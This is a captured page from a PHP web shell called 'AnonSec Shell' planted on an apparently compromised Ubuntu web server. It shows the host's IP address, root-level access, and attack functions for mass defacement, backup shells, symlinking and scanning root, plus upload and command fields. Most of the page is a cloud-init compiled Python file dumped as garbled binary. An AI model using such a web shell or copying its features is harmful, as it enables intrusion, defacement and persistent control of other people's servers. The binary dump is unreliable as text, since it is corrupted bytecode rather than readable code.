AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/resolv_conf.cpython-310.pyc
o

x[hw�@sHddlZddlmZddlmZddlmZe�e�Z	Gdd�d�Z
dS)�N)�StringIO)�util)�chop_commentc@s~eZdZdd�Zdd�Zedd��Zedd��Zejd	d��Zed
d��Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�
ResolvConfcCs||_d|_dS�N)�_text�	_contents)�self�text�r�G/usr/lib/python3/dist-packages/cloudinit/distros/parsers/resolv_conf.py�__init__s
zResolvConf.__init__cCs |jdur|�|j�|_dSdSr)r�_parser�r	rrr�parses
�zResolvConf.parsecCs|��|�d�S)N�
nameserver�r�_retr_optionrrrr�nameserverss
zResolvConf.nameserverscCs"|��|�d�}|r|dSdS)N�domainrr)r	�dmrrr�local_domains

zResolvConf.local_domaincCs0|��|�d�|j�ddt|�dgf�|S)Nr�option�)r�_remove_optionr�append�str)r	rrrrr's
cCsB|��|�d�}g}|D]}|�d�D]	}|r|�|�qq
|S)N�search)rr�splitr)r	�current_sds�flat_sds�sdlist�sdrrr�search_domains.s

��zResolvConf.search_domainscCs�|��t�}|jD]:\}}|dkr|�d�q
|dkr&|�d|d�q
|dkrD|\}}}d||f}t|�r=||7}|�d|�q
|��S)N�blank�
�all_commentz%s
rrz%s %s)rrr�write�len�getvalue)r	�contents�	line_type�
components�cfg_opt�	cfg_value�comment_tail�linerrr�__str__9s
�zResolvConf.__str__cCs<g}|jD]\}}|dkr|\}}}||kr|�|�q|S)Nr�rr)r	�opt_name�foundr+r,r-r.�
_comment_tailrrrrIs

�zResolvConf._retr_optioncCst|��|�d�}t|�}|�t|��t�|�}t|�t|�kr#|S|�d�|D]
}|j	�dd|dgf�q*|S)Nrrr)
rr�listrrr�	uniq_listr(rr)r	�ns�
current_ns�new_ns�nrrr�add_nameserverRs


zResolvConf.add_nameservercs8�fdd�}g}|jD]}||�s|�|�q||_dS)Ncs.|\}}|dkr
dS|\}}}|�krdSdS)NrFTr)�itemr+r,r-�
_cfg_valuer5�r3rr�
remove_opt`s
z-ResolvConf._remove_option.<locals>.remove_optr2)r	r3r@�new_contents�crr?rr_s	

�
zResolvConf._remove_optioncCs�|j}t|�}|�t|��t�|�}t|�t|�kr|St|�dkr)td|��d�|�}t|�dkr:td|��|�	d�|j
�dd|dgf�|S)	N�z8Adding %r would go beyond the '6' maximum search domains� �zEAdding %r would go beyond the 256 maximum search list character limitrrr)r#r6rrrr7r(�
ValueError�joinrr)r	�
search_domainr �new_sds�s_listrrr�add_search_domainos,
��
��
zResolvConf.add_search_domaincCs�g}t|���D]c\}}|��}|s|�d|gf�qt|d�\}}t|���s1|�d|gf�q|s5d}z
|�dd�\}}	WnttfyV}
z	t	d|d�|
�d}
~
ww|dvrat	d|��|�d	||	|gf�q|S)
Nr$z;#r&r�z)Incorrectly formatted resolv.conf line %s)rrr�sortlist�optionsz Unexpected resolv.conf option %sr)
�	enumerate�
splitlines�striprrr(r�
IndexErrorrF�IOError)r	r*�entries�ir0�sline�head�tailr-�
cfg_values�errrr�s4
����zResolvConf._parseN)�__name__�
__module__�__qualname__r
r�propertyrr�setterr#r1rr<rrKrrrrrrs"




	
r)�logging�ior�	cloudinitr�cloudinit.distros.parsersr�	getLoggerr[�LOGrrrrr�<module>s


Anon7 - 2022
AnonSec Team